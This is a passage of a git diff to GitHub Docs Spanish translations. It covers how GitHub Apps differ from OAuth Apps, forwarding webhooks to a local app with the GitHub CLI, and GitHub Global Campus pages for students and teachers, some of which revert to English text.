OAuth App gets the increased limit. | -| {% data variables.product.prodname_github_apps %} can authenticate on behalf of the user, which is called a user-to-server request. The flow to authorize is the same as the OAuth App authorization flow. User-to-server tokens can expire and be renewed with a refresh token. For more information, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" and "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." | The OAuth flow used by {% data variables.product.prodname_oauth_apps %} authorizes an {% data variables.product.prodname_oauth_app %} on behalf of the user. This is the same flow used in {% data variables.product.prodname_github_app %} user-to-server authorization. | +| Una GitHub App puede solicitar un token de acceso de la instalación si utiilza una llave privada con un formato de token web de JSON fuera de banda. | Una App de OAuth puede intercambiar un token de solicitud por un token de acceso después de una redirección a través de una solicitud web. | +| Un token de instalación identifica la aplicación como el bot de aplicaciones de GitHub, por ejemplo, @jenkins-bot. | Un token de acceso identifica la aplicación como el usuario que ha concedido el token a la aplicación, por ejemplo, @octocat. | +| Los tokens de instalación caducan después de un tiempo predefinido (actualmente, 1 hora). | Los tokens de OAuth permanecen activos hasta que el cliente los revoque. | +| Las {% data variables.product.prodname_github_apps %} instaladas en organizaciones o repositorios están sujetas a límites de tasa para las solicitudes de servidor a servidor. Para más información, vea "[Límites de frecuencia para {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/rate-limits-for-github-apps)". | Los tokens de OAuth utilizan el límite de tasa del usuario de {% ifversion fpt or ghec or ghes %}5,000{% elsif ghae %}15,000{% endif %} solicitudes por hora. | +| Pueden concederse aumentos del límite de frecuencia tanto en el nivel de las aplicaciones de GitHub (lo que afecta a todas las instalaciones) como en el nivel de una instalación individual. | Los aumentos del límite de frecuencia se conceden por cada aplicación de OAuth. Cada token concedido a esa aplicación de OAuth obtiene el aumento en el límite. | +| Las {% data variables.product.prodname_github_apps %} pueden autenticarse en nombre del usuario, a lo cual se le conoce como una solicitud de usuario a servidor. El flujo de autorización es el mismo que el flujo de autorización de la aplicación de OAuth. Los tokens de usuario a servidor pueden expirar y renovarse con un token de actualización. Para más información, vea "[Actualización de tokens de acceso de usuario a servidor](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" e "[Identificación y autorización de usuarios para Aplicaciones de GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)". | El flujo de OAuth que utilizan las {% data variables.product.prodname_oauth_apps %} autoriza a una {% data variables.product.prodname_oauth_app %} en nombre del usuario. Este es el mismo flujo que se utiliza en las autorizaciones de usuario a servidor de una {% data variables.product.prodname_github_app %}. | -## Requesting permission levels for resources +## Solicitar niveles de permiso para recursos -Unlike OAuth apps, GitHub Apps have targeted permissions that allow them to request access only to what they need. For example, a Continuous Integration (CI) GitHub App can request read access to repository content and write access to the status API. Another GitHub App can have no read or write access to code but still have the ability to manage issues, labels, and milestones. OAuth Apps can't use granular permissions. +A diferencia de las apps de OAuth, las GitHub Apps tiene permisos específicos que les permiten solicitar acceso únicamente a lo que necesitan. Por ejemplo, una GitHub App de Integración Continua (IC) puede solicitar acceso de lectura al contenido del repositorio y acceso de escritura la API de estado. Puede que alguna otra GitHub App no tenga acceso de escritura o lectura al código, pero aún podrá administrar propuestas, etiquetas e hitos. Las aplicaciones de OAuth no pueden usar permisos pormenorizados. -| Access | GitHub Apps (`read` or `write` permissions) | OAuth Apps | +| Access | Aplicaciones de GitHub (permisos `read` o `write`) | aplicaciones de OAuth | | ------ | ----- | ----------- | -| **For access to public repositories** | Public repository needs to be chosen during installation. | `public_repo` scope. | -| **For access to repository code/contents** | Repository contents | `repo` scope. | -| **For access to issues, labels, and milestones** | Issues | `repo` scope. | -| **For access to pull requests, labels, and milestones** | Pull requests | `repo` scope. | -| **For access to commit statuses (for CI builds)** | Commit statuses | `repo:status` scope. | -| **For access to deployments and deployment statuses** | Deployments | `repo_deployment` scope. | -| **To receive events via a webhook** | A GitHub App includes a webhook by default. | `write:repo_hook` or `write:org_hook` scope. | +| **Para acceder a los repositorios públicos** | El repositorio público necesita elegirse durante la instalación. | Ámbito `public_repo`. | +| **Para acceder al código o contenido del repositorio** | Contenidos del repositorio | Ámbito `repo`. | +| **Para acceder a incidencias, etiquetas e hitos** | Issues | Ámbito `repo`. | +| **Para acceder a solicitudes de incorporación de cambios, etiquetas e hitos** | Solicitudes de incorporación de cambios | Ámbito `repo`. | +| **Para acceder a estados de confirmación (para compilaciones de CI)** | Estados de confirmación | Ámbito `repo:status`. | +| **Para acceder a implementaciones y estados de implementación** | Implementaciones | Ámbito `repo_deployment`. | +| **Para recibir eventos desde un webhook** | Las GitHub Apps incluyen un webhook predeterminadamente. | Ámbito `write:repo_hook` o `write:org_hook`. | -## Repository discovery +## Descubrimiento de repositorios -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ----------- | -| GitHub Apps can look at `/installation/repositories` to see repositories the installation can access. | OAuth Apps can look at `/user/repos` for a user view or `/orgs/:org/repos` for an organization view of accessible repositories. | -| GitHub Apps receive webhooks when repositories are added or removed from the installation. | OAuth Apps create organization webhooks for notifications when a new repository is created within an organization. | +| Aplicaciones de GitHub puede examinar `/installation/repositories` para ver los repositorios a los que puede acceder la instalación. | Las aplicaciones de OAuth pueden examinar `/user/repos` para obtener una vista de usuario, o `/orgs/:org/repos` para obtener una vista de la organización, de los repositorios accesibles. | +| Las Github Apps reciben webhooks cuando los repositorios se agregan o eliminan de la instalación. | Las Apps de OAuth crean webhooks de organización para las notificaciones cuando se crea un repositorio nuevo dentro de una organización. | -## Webhooks +## webhooks -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ----------- | -| By default, GitHub Apps have a single webhook that receives the events they are configured to receive for every repository they have access to. | OAuth Apps request the webhook scope to create a repository webhook for each repository they need to receive events from. | -| GitHub Apps receive certain organization-level events with the organization member's permission. | OAuth Apps request the organization webhook scope to create an organization webhook for each organization they need to receive organization-level events from. | -| Webhooks are automatically disabled when the GitHub App is uninstalled. | Webhooks are not automatically disabled if an OAuth App's access token is deleted, and there is no way to clean them up automatically. You will have to ask users to do this manually.| +| Predeterminadamente, las GitHub Apps tienen un solo webhook que recibe los eventos que se les ha configurado para recibir para cada repositorio al que tengan acceso. | Las Apps de OAuth solicitan el alcance de webhook para crear un webhook de repositorio para cada repositorio del cual necesiten recibir eventos. | +| Las GitHub Apps reciben algunos eventos a nivel organizacional con el permiso del miembro de la organización. | Las Apps de OAuth solicitan el alcance de webhook de la organización para crear un webhook de organización para cada organización de la cual necesiten recibir eventos de nivel organizacional. | +| Los webhooks se deshabilitan automáticamente cuando se desinstala la aplicación de GitHub. | Los webhooks no se deshabilitan automáticamente si se elimina el token de acceso de una aplicación de OAuth y no hay ninguna manera de limpiarlos automáticamente. Deberás pedir a los usuarios que lo hagan manualmente.| -## Git access +## Acceso a Git -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ----------- | -| GitHub Apps ask for repository contents permission and use your installation token to authenticate via [HTTP-based Git](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | OAuth Apps ask for `write:public_key` scope and [Create a deploy key](/rest/reference/deployments#create-a-deploy-key) via the API. You can then use that key to perform Git commands. | -| The token is used as the HTTP password. | The token is used as the HTTP username. | +| Las aplicaciones de GitHub solicitan permiso al contenido del repositorio y usan el token de instalación para autenticarse mediante [Git basado en HTTP](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | Las aplicaciones de OAuth solicitan el ámbito `write:public_key` y [crean una clave de implementación](/rest/reference/deployments#create-a-deploy-key) mediante la API. Posteriormente, pueden usar esa clave para realizar comandos de Git. | +| El token se utiliza como la contraseña HTTP. | El token se utiliza como el nombre de usuario HTTP. | -## Machine vs. bot accounts +## Cuentas de máquina vs cuentas de bot -Machine user accounts are OAuth-based personal accounts that segregate automated systems using GitHub's user system. +Las cuentas de usuario de máquina son cuentas personales basadas en OAuth que segregan sistemas automatizados con el sistema de usuarios de GitHub. -Bot accounts are specific to GitHub Apps and are built into every GitHub App. +Las cuentas de bot son específicas para las GitHub Apps y se crean en cada GitHub App. -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ----------- | -| GitHub App bots do not consume a {% data variables.product.prodname_enterprise %} seat. | A machine user account consumes a {% data variables.product.prodname_enterprise %} seat. | -| Because a GitHub App bot is never granted a password, a customer can't sign into it directly. | A machine user account is granted a username and password to be managed and secured by the customer. | +| Los bots de las GitHub Apps no consumen una plaza de {% data variables.product.prodname_enterprise %}. | Una cuenta de usuario de máquina consume una plaza de {% data variables.product.prodname_enterprise %}. | +| Ya que jamás se otorga una contraseña a un bot de una GitHub App, un cliente no podrá iniciar sesión directamente en él. | Una cuenta de usuario de máquina obtiene un nombre de usuario y contraseña para que el cliente lo administre y asegure. | diff --git a/translations/es-ES/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md b/translations/es-ES/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md new file mode 100644 index 0000000000..7bf7c01543 --- /dev/null +++ b/translations/es-ES/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md @@ -0,0 +1,52 @@ +--- +title: Recepción de webhooks con la CLI de GitHub +intro: 'Puedes usar {% data variables.product.prodname_cli %} para probar los webhooks en tu entorno de desarrollo sin la complejidad del reenvío de puertos o el uso de herramientas de terceros.' +versions: + feature: cli-webhook-forwarding +topics: + - Webhooks +shortTitle: Receiving webhooks with the GitHub CLI +ms.openlocfilehash: 2772a9d4208d0afe77871255ad6510b7f39de8d5 +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132967' +--- +## Acerca de la recepción de webhooks con {% data variables.product.prodname_cli %} + +{% note %} + +**Nota**: La recepción de webhooks con {% data variables.product.prodname_cli %} está actualmente en versión beta pública limitada y está sujeta a cambios. Para suscribirte a la versión beta, responde en nuestro [debate](https://github.com/orgs/community/discussions/38261) de la comunidad de GitHub. Es posible que no se te agregue inmediatamente. Recibirás una notificación por correo electrónico una vez que se te haya agregado a la versión beta. + +{% endnote %} + +Al realizar cambios en el código de integración, la ejecución del código en un entorno local te permite probar e iterar rápidamente sin implementar el código. Puedes usar {% data variables.product.prodname_cli %} para reenviar webhooks a tu entorno local. + +{% note %} + +**Nota:** El reenvío de webhooks en {% data variables.product.prodname_cli %} solo funciona con webhooks de repositorio y organizativos. Si quieres probar webhooks de patrocinio, de GitHub App, empresariales o de Marketplace localmente, deberás hacerlo manualmente. Para más información, vea "[Creación de webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)". + +{% endnote %} + +## Recepción de webhooks con {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-learn-more %} + +1. Para instalar la extensión {% data variables.product.prodname_cli %} para habilitar el reenvío de webhooks, usa el subcomando `extension install`. + + ```sh + gh extension install cli/gh-webhook + ``` + + +1. Inicia la aplicación localmente y toma nota de la dirección URL donde espera recibir los webhooks. En esta guía se supone que la aplicación escucha eventos de webhook en `http://localhost:3000/webhook`. + +1. Para configurar webhooks que se van a entregar a la aplicación, ejecuta el subcomando `webhook forward`. Reemplaza `REPOSITORY` por el nombre del repositorio. Por ejemplo, `monalisa/octocat`. Reemplaza `EVENTS` por una lista separada por comas de los eventos que quieres recibir. Por ejemplo, `issues,pull_request`. Reemplaza `URL` por la dirección URL local donde la aplicación espera recibir webhooks. Por ejemplo, `"http://localhost:3000/webhook"`. Para escuchar webhooks de organización en lugar de webhooks de repositorio, reemplaza la marca `--repo` por la marca `--org`. Por ejemplo, `--org="octo-org"`. + + + ```sh + gh webhook forward --repo=REPOSITORY --events=EVENTS --url=URL + ``` + + Deja el comando en ejecución en segundo plano. Recibirás todos los eventos especificados para el repositorio especificado y los reenviarás al controlador de webhooks que se ejecuta en la dirección URL especificada. diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md index ca3dc52596..acf04c777a 100644 --- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md +++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md @@ -1,6 +1,6 @@ --- -title: Acerca del campus global de GitHub para alumnos -intro: '{% data variables.product.prodname_education %} le ofrece a los estudiantes experiencia práctica con acceso gratuito a diversas herramientas de programadores de los socios de {% data variables.product.prodname_dotcom %}.' +title: About GitHub Global Campus for students +intro: '{% data variables.product.prodname_education %} offers students real-world experience with free access to various developer tools from {% data variables.product.prodname_dotcom %}''s partners.' redirect_from: - /education/teach-and-learn-with-github-education/about-github-education-for-students - /github/teaching-and-learning-with-github-education/about-github-education-for-students @@ -10,36 +10,39 @@ redirect_from: versions: fpt: '*' shortTitle: For students -ms.openlocfilehash: 9012b473399905e60b04a8876a3d4e6afd10a6ba -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110011' --- -Usar {% data variables.product.prodname_dotcom %} para tus proyectos escolares es un modo práctico de colaborar con otros y crear un portfolio que exhiba experiencia práctica. +Using {% data variables.product.prodname_dotcom %} for your school projects is a practical way to collaborate with others and build a portfolio that showcases real-world experience. -Cualquiera con una cuenta de {% data variables.product.prodname_dotcom %} puede colaborar en repositorios públicos y privados ilimitados con {% data variables.product.prodname_free_user %}. Como alumno, también puedes solicitar los beneficios de {% data variables.product.prodname_education %} para los alumnos. Los beneficios y recursos para los alumnos de {% data variables.product.prodname_education %} se incluyen en el {% data variables.product.prodname_global_campus %}, un portal que te permite acceder a sus beneficios educativos, todo en un solo lugar. Para obtener más información, consulta «[Solicitar acceso al campus global de GitHub como alumno](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)» y [{% data variables.product.prodname_education %}](https://education.github.com/). +Everyone with a {% data variables.product.prodname_dotcom %} account can collaborate in unlimited public and private repositories with {% data variables.product.prodname_free_user %}. As a student, you can also apply for {% data variables.product.prodname_education %} student benefits. Your {% data variables.product.prodname_education %} student benefits and resources are all included in {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits, all in one place. For more information, see "[Apply to GitHub Global Campus as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)" and [{% data variables.product.prodname_education %}](https://education.github.com/). -Antes de solicitar un descuento individual, comprueba si la comunidad de aprendizaje ya está asociada con nosotros como una escuela del {% data variables.product.prodname_campus_program %}. Para más información, vea "[Acerca de {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)". +Before applying for Global Campus, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)." -Si eres miembro de un club de la escuela, un profesor puede solicitar acceso al {% data variables.product.prodname_global_campus %} para que tu equipo pueda colaborar con {% data variables.product.prodname_team %}, lo que permite repositorios privados y usuarios ilimitados de forma gratuita. Para obtener más información, consulta «[Solicitar acceso al {% data variables.product.prodname_global_campus %} como profesor](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)». +If you're a member of a school club, a teacher can apply for {% data variables.product.prodname_global_campus %} so your team can collaborate using {% data variables.product.prodname_team %}, which allows unlimited users and private repositories, for free. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." -Una vez que se seas un alumno verificado del {% data variables.product.prodname_global_campus %}, puedes acceder al {% data variables.product.prodname_global_campus %} en cualquier momento yendo al [sitio web de {% data variables.product.prodname_education %}](https://education.github.com). +Once you are a verified {% data variables.product.prodname_global_campus %} student, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). -![Portal del {% data variables.product.prodname_global_campus %} para los alumnos](/assets/images/help/education/global-campus-portal-students.png) +![{% data variables.product.prodname_global_campus %} portal for students](/assets/images/help/education/global-campus-portal-students.png) -## Características del {% data variables.product.prodname_global_campus %} para los alumnos +## {% data variables.product.prodname_global_campus %} features for students -{% data variables.product.prodname_global_campus %} es un portal desde el que puedes acceder a tus ventajas y a los recursos de {% data variables.product.prodname_education %}, todo en un solo lugar. En el portal del {% data variables.product.prodname_global_campus %}, los alumnos pueden: -- Conectarse con un experto local del campus. Para obtener más información sobre los expertos del campus, consulta «[Acerca de los expertos del campus](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts)». -- Explorar y reclamar ofertas para herramientas del sector gratuitas en el [Paquete para desarrolladores para los alumnos](https://education.github.com/pack). -- Consultar los próximos eventos en persona y virtuales para los alumnos, mantenidos por {% data variables.product.prodname_education %} y por los líderes del alumnado. -- Consultar las asignaciones del [Aula de GitHub](https://classroom.github.com/) con las próximas fechas de vencimiento. -- Mantenerte al corriente de lo que interesa a la comunidad con los episodios recientes de [Campus TV](https://www.twitch.tv/githubeducation). Campus TV está creado por {% data variables.product.prodname_dotcom %} y por los líderes de la comunidad de alumnos y se puede ver en vivo o a petición. -- Descubrir los repositorios creados por alumnos desde GitHub Community Exchange. Para obtener más información, consulta «[Acerca de GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)». +{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, students can: +- Connect with a local Campus Expert. For more information on campus experts, see "[About Campus Experts](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts)." +- Explore and claim offers for free industry tools from the [Student Developer Pack](https://education.github.com/pack). +- See upcoming in-person and virtual events for students, curated by {% data variables.product.prodname_education %} and student leaders. +- View assignments from [GitHub Classroom](https://classroom.github.com/) with upcoming due dates. +- Stay in the know on what the community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. +- Discover student-created repositories from GitHub Community Exchange. For more information, see "[About GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)." -## Información adicional +A free subscription for {% data variables.product.prodname_copilot %} is available to verified students with {% data variables.product.prodname_education %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." -- «[Acerca del {% data variables.product.prodname_global_campus %} para profesores](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers)» -- "[Acerca de {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)" +{% data reusables.education.student-codespaces-benefit %} For more information on getting started with {% data variables.product.prodname_github_codespaces %}, see "[{% data variables.product.prodname_github_codespaces %} overview](/codespaces/overview)." + +{% note %} + +**Note:** {% data reusables.education.note-on-student-codespaces-usage %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)." + +{% endnote %} +## Further reading + +- "[About {% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers)" +- "[About {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)" diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md index 0e2b79a004..dc7a203cd0 100644 --- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md +++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md @@ -1,6 +1,6 @@ --- -title: Acerca del campus global de GitHub para alumnos -intro: '{% data variables.product.prodname_global_campus %} ofrece a los profesores un lugar central para acceder a herramientas y recursos para trabajar de forma más eficaz dentro y fuera del aula.' +title: About GitHub Global Campus for teachers +intro: '{% data variables.product.prodname_global_campus %} offers teachers a central place to access tools and resources for working more effectively inside and outside of the classroom.' redirect_from: - /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers - /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers @@ -10,30 +10,28 @@ redirect_from: versions: fpt: '*' shortTitle: For teachers -ms.openlocfilehash: 6a0e8b7ba27060b4f48438b515786256d93d6d0c -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109844' --- -Como alumno o miembro del profesorado en una institución educativa acreditada, puedes solicitar acceso al {% data variables.product.prodname_global_campus %}, que incluye acceso a las ventajas y los recursos de {% data variables.product.prodname_education %}. Para obtener más información, consulta «[Solicitar acceso al {% data variables.product.prodname_global_campus %} como profesor](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)». -{% data variables.product.prodname_global_campus %} es un portal que permite a la comunidad educativa de GitHub acceder a las ventajas de educación, y todo en un solo lugar. Una vez que se seas un profesor verificado del {% data variables.product.prodname_global_campus %}, puedes acceder al {% data variables.product.prodname_global_campus %} en cualquier momento yendo al [sitio web de {% data variables.product.prodname_education %}](https://education.github.com). +As a faculty member at an accredited educational institution, you can apply for {% data variables.product.prodname_global_campus %}, which includes {% data variables.product.prodname_education %} benefits and resources. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." -![Portal del {% data variables.product.prodname_global_campus %} para los profesores](/assets/images/help/education/global-campus-portal-teachers.png) +{% data variables.product.prodname_global_campus %} is a portal that allows the GitHub Education Community to access their education benefits, all in one place. Once you are a verified {% data variables.product.prodname_global_campus %} teacher, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). -Antes de solicitar un descuento individual, compruebe si la comunidad de aprendizaje ya está asociada con nosotros como escuela de {% data variables.product.prodname_campus_program %}. Para más información, vea "[Acerca de {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)". +![{% data variables.product.prodname_global_campus %} portal for teachers](/assets/images/help/education/global-campus-portal-teachers.png) -## Características del {% data variables.product.prodname_global_campus %} para los profesores +Before applying for an individual discount, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)." -{% data variables.product.prodname_global_campus %} es un portal desde el que puedes acceder a tus ventajas y a los recursos de {% data variables.product.prodname_education %}, todo en un solo lugar. En el portal del {% data variables.product.prodname_global_campus %}, los profesores de todos los niveles pueden: {% data reusables.education.apply-for-team %} - - Ver información general sobre tus [{% data variables.product.prodname_classroom %}](https://classroom.github.com), incluidas las asignaciones recientes y el progreso de la clase de un vistazo, así como vínculos a {% data variables.product.prodname_classroom %}. - - Consultar e interactuar con las [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) publicadas por sus compañeros de todo el mundo para analizar las tendencias actuales en la educación tecnológica, y encuentra las entradas más recientes de nuestro [blog {% data variables.product.prodname_education %}](https://github.blog/category/education/). - - Consultar los eventos de los alumnos mantenidos por {% data variables.product.prodname_education %} y los líderes de los alumnos. - - Mantenerte al corriente de lo que interesa a la comunidad de alumnos con los episodios recientes de [Campus TV](https://www.twitch.tv/githubeducation). Campus TV está creado por {% data variables.product.prodname_dotcom %} y por los líderes de la comunidad de alumnos y se puede ver en vivo o a petición. - - Solicite una bolsa de productos de {% data variables.product.prodname_dotcom %} con materiales educativos y productos para los alumnos. +## {% data variables.product.prodname_global_campus %} features for teachers -## Información adicional +{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, teachers of all levels can: + {% data reusables.education.apply-for-team %} + - View an overview of your active [{% data variables.product.prodname_classroom %}](https://classroom.github.com), including recent assignments and your class's progress at a glance, as well as links to {% data variables.product.prodname_classroom %}. + - View and interact with [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) posted by your peers from around the world to discuss current trends in technology education, and see the latest posts from our [{% data variables.product.prodname_education %} blog](https://github.blog/category/education/). + - See student events curated by {% data variables.product.prodname_education %} and student leaders. + - Stay in the know on what the student community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. + - Request a {% data variables.product.prodname_dotcom %} swag bag with educational materials and goodies for your students. -- «[Acerca del {% data variables.product.prodname_global_campus %} para los alumnos](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)» +A free subscription for {% data variables.product.prodname_copilot %} is available to verified teachers with {% data variables.product.prodname_education %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." + +## Further reading + +- "[About {% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)" diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md index 09e2cfa35f..a245a0b7e5 100644 --- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md +++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md @@ -14,12 +14,12 @@ redirect_from: versions: fpt: '*' shortTitle: Apply to Global Campus -ms.openlocfilehash: 2723cf809ae8d4d4a7c0d32c38515a4ee926abf8 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 52bc1182dcc4db72e0a1e9cbca5d5f1171293d69 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147574289' +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106617' --- ## Acerca de los descuentos para profesores @@ -31,7 +31,10 @@ Para obtener más información sobre las cuentas personales en {% data variables ## Solicitar una plaza para el {% data variables.product.prodname_global_campus %} -{% data reusables.education.benefits-page %} {% data reusables.education.click-get-teacher-benefits %} {% data reusables.education.select-email-address %} {% data reusables.education.upload-proof-status %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.submit-application %} +{% data reusables.education.benefits-page %} {% data reusables.education.click-get-teacher-benefits %} +1. En "Seleccionar el estado académico", selecciona **Profesor**. + + ![Captura de pantalla de selección del estado académico "Profesor"](/assets/images/help/education/academic-status-teacher.png) {% data reusables.education.select-email-address %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.upload-proof-status %} {% data reusables.education.submit-application %} ## Información adicional diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md index 74560cf423..34a57ee0e7 100644 --- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md +++ 